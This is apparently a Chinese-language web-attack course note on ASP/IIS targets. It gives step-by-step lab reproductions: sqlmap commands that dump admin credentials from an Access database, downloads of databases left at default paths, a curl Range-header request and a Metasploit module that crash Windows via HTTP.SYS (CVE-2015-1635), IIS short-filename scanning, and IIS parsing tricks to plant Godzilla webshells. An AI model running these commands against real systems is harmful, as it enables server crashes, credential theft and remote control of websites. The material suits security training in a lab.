第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

第四十一天

一、ASP-SQL注入-Access数据库

1.解释

ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),数据,所以在注入猜解中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入,后续再说其他。

  1. mdb后缀就是access数据库的文件

  2. 数据库路径不去更改的就是默认路径,是写在配置文件里面的

python sqlmap.py -u "" --tables //获取表名
python sqlmap.py -u "" --cloumns -T admin //获取admin表名下的列名
python sqlmap.py -u "" --dump -C "" -T admin //获取表名下的列名数据

2.漏洞扫描

通过注入得到网站的用户名和密码之后想要知道网站后台的登陆地址有如下方法

  1. 目录扫描——字典去跑
  2. IIS短文件——利用漏洞探针
  3. 网站爬虫——获取架构中的目录和文件路径分析

二、ASP-默认安装-数据库泄漏下载

1.ASP漏洞原因

  1. 由于大部分ASP程序与ACCESS数据库搭建,但ACCESS无需连接,都在脚本文件中定义配置好数据库路径即用,不需要额外配置安装数据库,所以大部分提前固定好的数据库路径如默认未修改,当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击
  2. access类型数据库并未启动MySQL,所以该网站的数据库是放在源码目录下的,而且在搭建时没有更改数据库位置,那么默认是什么就是什么

三、ASP-IIS-CVE&短文件&解析&写入

1.HTTP.SYS(CVE-2015-1635)

1.漏洞描述

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

2.影响版本

Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

3.漏洞利用条件

安装了IIS6.0以上的Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2版本

4.漏洞复现
msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts xx.xx.xx.xx
set rport xx
run

2.IIS短文件

1.漏洞描述

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

2.漏洞成因:

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。在Windows下查看对应的短文件名,可以使用命令dir /x

3.应用场景:

后台路径获取,数据库文件获取,其他敏感文件获取等

4.利用工具:

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

3.IIS文件解析

1.漏洞成因

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析

  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析

  3. 如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件

  2. 应用场景:配合文件上传获取Webshell

4.IIS写权限

IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许

参考利用:https://cloud.tencent.com/developer/article/2050105

四、环境复现

1.ASP-默认安装-MDB数据库泄漏下载

1.首次打开需要将IP更改为自己的才能打开
2.输入url更改路径下载数据库文件
3.打开下载的数据库文件查看账号密码
4.根据源码打开网站后台进行登陆尝试
5.如果想不被直接下载,就要更改数据库文件名,同时在配置文件也需要进行更改(include/conn.asp、conn.asp)

2.ASP-中间件-CVE&短文件&解析&写权限

1.HTTP.SYS
1.打开演示环境使用ipconfig命令查看本机IP,进入浏览器输入IP查看IIS版本
2.漏洞证明
curl -v IP -H "Host:irrelevant" -H "Range: bytes=0-18446744073709551615"
3.使用metasploit进行测试
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts [Win7的IP]
show options
run
4.Win7蓝屏
2.IIS-短文件
1.打开目标网站
2.使用工具IIS_shortname_Scanner-master进行漏洞复现
python iis_shortname_scan.py http://192.168.163.133:88/
3.IIS-文件解析
1.使用哥斯拉生成asp格式的木马
2.将生成的木马放到IIS目录下
3.使用哥斯拉进行连接
4.更改文件名,尝试重新进行连接
5.连接成功
5.创建1.asp文件夹,将后门asp文件放入
6.使用哥斯拉尝试重新进行连接

3.ASP-SQL注入-SQLMAP使用&ACCESS注入

1.使用命令进行SQL注入对表名进行暴力破解
python .\sqlmap.py -u "http://192.168.163.133:89/Pic.asp?classid=3"
 --tables
2.判断有注入点
3.提示是否使用字典进行爆破
4.扫到admin表就可以暂停进行后续渗透了
5.根据access数据库结构进行列名爆破
python .\sqlmap.py -u "http://192.168.163.133:89/Pic.asp?classid=3" --columns -T admin

columns:列名

T:表的缩写

admin:刚刚爆破出来的admin表

6.得到username列、ID列、password列
7.得到列名就去爆数据内容
sqlmap -u "http://192.168.163.133:89/Pic.asp?classid=3" --dump -C "username,password" -T admin

dump:数据内容

C:代表列名的名字指向缩写

“username,password”:刚刚爆出来的列名

T:表的缩写

8.得到数据之后进行解密
9.使用刚刚将到的爆6位文件名对网站目录进行扫描进行猜解后台目录名
10.看到upfile猜想upfile.asp,成功进入后台
11.使用目录爆破工具扫描得到网站后台地址
12.输入账号密码成功进入后台
13.使用网站爬虫的方法对网站所有可以点击的页面进行扫描,结果得到了后台登陆位置